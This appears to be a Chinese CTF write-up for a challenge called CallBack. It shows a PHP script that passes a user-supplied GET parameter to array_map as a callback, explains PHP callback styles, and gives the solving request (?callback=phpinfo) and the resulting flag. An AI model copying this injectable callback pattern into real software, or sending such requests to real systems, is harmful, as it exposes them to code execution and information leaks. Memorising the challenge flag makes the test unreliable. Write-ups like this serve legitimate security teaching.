【青少年CTF S1·2026 公益赛】CallBack

php 复制代码
<?php
function executeCallback($callback)
{
    $someArray = [0, 1, 2, 3];
    return array_map($callback, $someArray);
}

if (isset($_GET['callback'])) {
    $evilCallback = $_GET['callback'];
    $newArray = executeCallback($evilCallback);
}
?>

什么是回调函数?

回调函数就是函数被当作参数传递给另一个函数,并在合适的实践被"调用"

PHP中4种常见的回调函数写法

1、普通回调函数(字符串传递函数名)

php 复制代码
function sayHi($name) {
    echo "Hi, $name";
}
// 调用:直接传函数名字符串
call_user_func('sayHi', 'Tom');

2、匿名函数回调(最常用)

不同提取定义函数,直接写在参数里面

php 复制代码
$numbers = [1,2,3];
$newArr = array_map(function($n) {
    return $n + 1;
}, $numbers);

3、类方法回调

php 复制代码
class Test {
    public static function hello() {
        echo "Hello";
    }
}
// 静态方法回调
call_user_func(['Test', 'hello']);

4、对象方法回调

php 复制代码
class Test {
    public function hi() {
        echo "Hi";
    }
}
$obj = new Test();
call_user_func([$obj, 'hi']);

题目用 array_map($callback, 0,1,2,3),这意味着用户传入的函数会被执行,但参数被强制固定为数字 0-3。

当我们传递system()的时候,PHP会执行system(0)、system(1)、system(2)、system(3)

因此不能传递system()函数

这题直接使用phpinfo,phpinfo可以接收整数参数

php 复制代码
http://challenge.qsnctf.com:55842/?callback=phpinfo

直接在配置信息中找到flag

php 复制代码
qsnctf{c893c0079b974676b4dbffad9c43b7d8}
相关推荐
Johny_Zhao8 小时前
网络安全等级保护测评实施方案
linux·网络·人工智能·网络安全·信息安全·云计算·等保测评·系统运维·itsm
菩提小狗8 小时前
每日安全情报报告 · 2026-09-06
网络安全·漏洞·cve·安全情报·每日安全
HackTwoHub15 小时前
BurpSuite2026.8专业(稳定版)下载Windows/Linux/Mac支持Java21以上(新增Burp AT智能体)
linux·运维·服务器·安全·macos·网络安全·自动化
Chockmans16 小时前
SRC---信息收集(灯塔自动化推荐)
网络安全
数据知道16 小时前
YARA 规则编写实战——从样本到检测规则
网络·安全·网络安全
Fnetlink117 小时前
Fnet 云网安 260907
网络·人工智能·安全·web安全·网络安全·智能路由器
学逆向的18 小时前
PE——合并节
开发语言·网络安全·pe
武汉唯众智创18 小时前
计算机网络综合实训室怎么建?2026版建设思路、云平台架构与课程体系深度拆解
网络安全·产教融合·职业教育·计算机网络综合实训室·实训室建设·网络系统建设与运维·网络实训室
锐速网络19 小时前
漏洞管理闭环:扫描、验证、渗透、修复全流程
网络安全·渗透测试·漏洞管理·漏洞修复·漏洞扫描·安全运维·虚拟补丁
上学的小垃圾19 小时前
华为eNSP防火墙USG6000V登录管理方式
网络·网络安全·华为